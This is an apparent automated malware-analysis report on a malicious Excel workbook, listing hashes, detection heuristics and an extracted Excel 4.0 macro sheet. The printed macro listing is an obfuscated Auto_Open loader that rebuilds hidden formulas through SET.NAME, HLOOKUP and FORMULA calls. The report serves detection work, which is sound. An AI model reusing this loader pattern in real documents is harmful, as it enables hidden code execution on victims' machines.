Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9e93e25554e2e20b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:19 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: fd1bc071eefa6b65eefb5a9c22738ee6 SHA-1: 0ddbacaddd618c169a8b1dac727991fd29c61750 SHA-256: 9e93e25554e2e20b62a84af1020a61557fa1a47c34069d549f706a480eddb874
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6590 bytes
SHA-256: 3cf4284e73d27258de325f7257606392f9936a78199ab33ef67e1f7f1163ab88
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OKqhaEnzj
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E176 
' 0018     23 LABEL : Cell Value, String Constant - cCrFQdAc len=0 
' 0018     20 LABEL : Cell Value, String Constant - DCFGf len=0 
' 0018     24 LABEL : Cell Value, String Constant - GmucDpsKJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - GypRCVSIFz len=0 
' 0018     27 LABEL : Cell Value, String Constant - HdpRzlPuoQvR len=0 
' 0018     21 LABEL : Cell Value, String Constant - ilzwfF len=0 
' 0018     25 LABEL : Cell Value, String Constant - jffuoVGdlh len=0 
' 0018     26 LABEL : Cell Value, String Constant - jPYgGiaaDIt len=0 
' 0018     23 LABEL : Cell Value, String Constant - jvdtpBWq len=0 
' 0018     22 LABEL : Cell Value, String Constant - lClNDnj len=0 
' 0018     22 LABEL : Cell Value, String Constant - LtOhQep len=0 
' 0018     21 LABEL : Cell Value, String Constant - nmklaA len=0 
' 0018     22 LABEL : Cell Value, String Constant - pVMgcvS len=0 
' 0018     23 LABEL : Cell Value, String Constant - PVNkeUrF len=0 
' 0018     25 LABEL : Cell Value, String Constant - SJUMZVHpSk len=0 
' 0018     24 LABEL : Cell Value, String Constant - tgkiWfdDx len=0 
' 0018     21 LABEL : Cell Value, String Constant - tjsbzp len=0 
' 0018     26 LABEL : Cell Value, String Constant - TWzIQjxpqEv len=0 
' 0018     26 LABEL : Cell Value, String Constant - VCoVAUcoAWx len=0 
' 0018     24 LABEL : Cell Value, String Constant - WdEGVMIuz len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OKqhaEnzj,E85,"SET.NAME("SJUMZVHpSk",VALUE("0"))",""
'  OKqhaEnzj,E87,"SET.NAME("jvdtpBWq",SJUMZVHpSk)",""
'  OKqhaEnzj,E92,"SET.NAME("LtOhQep",SJUMZVHpSk)",""
'  OKqhaEnzj,E97,"SET.NAME("tjsbzp",COUNTA(GmucDpsKJ))",""
'  OKqhaEnzj,E101,"SET.NAME("PVNkeUrF",COUNTA(jffuoVGdlh))",""
'  OKqhaEnzj,E103,[],""
'  OKqhaEnzj,E108,"SET.NAME("cCrFQdAc","")",""
'  OKqhaEnzj,E111,"jvdtpBWq",""
'  OKqhaEnzj,E116,"SET.NAME("pVMgcvS",HLOOKUP("*",GmucDpsKJ,jvdtpBWq,FALSE))",""
'  OKqhaEnzj,E118,"nmklaA",""
'  OKqhaEnzj,E122,"SET.NAME("ilzwfF",SJUMZVHpSk)",""
'  OKqhaEnzj,E126,[],""
'  OKqhaEnzj,E129,"ilzwfF",""
'  OKqhaEnzj,E131,"lClNDnj",""
'  OKqhaEnzj,E134,"HdpRzlPuoQvR",""
'  OKqhaEnzj,E136,"WdEGVMIuz",""
'  OKqhaEnzj,E141,"SET.NAME("GypRCVSIFz",VALUE(HLOOKUP("*",jffuoVGdlh,WdEGVMIuz,FALSE)))",""
'  OKqhaEnzj,E144,"TWzIQjxpqEv",""
'  OKqhaEnzj,E148,"cCrFQdAc",""
'  OKqhaEnzj,E152,"LtOhQep",""
'  OKqhaEnzj,E154,NEXT(),""
'  OKqhaEnzj,E157,"jPYgGiaaDIt",""
'  OKqhaEnzj,E159,"SET.NAME("f",INT(T(FORMULA(T(cCrFQdAc)&"",""&T(jPYgGiaaDIt)))))",""
'  OKqhaEnzj,E164,"tgkiWfdDx",""
'  OKqhaEnzj,E168,NEXT(),""
'  OKqhaEnzj,E171,RETURN(),""
'  OKqhaEnzj,E201,"SET.NAME("VCoVAUcoAWx",E85)",""
'  OKqhaEnzj,E203,"GmucDpsKJ",""
'  OKqhaEnzj,E208,"SET.NAME("jffuoVGdlh",R78C11)",""
'  OKqhaEnzj,E210,"SET.NAME("tgkiWfdDx",219)",""
'  OKqhaEnzj,E215,"SET.NAME("DCFGf",5)",""
'  OKqhaEnzj,E218,VCoVAUcoAWx(),""
'  OKqhaEnzj,E219,HALT(),""

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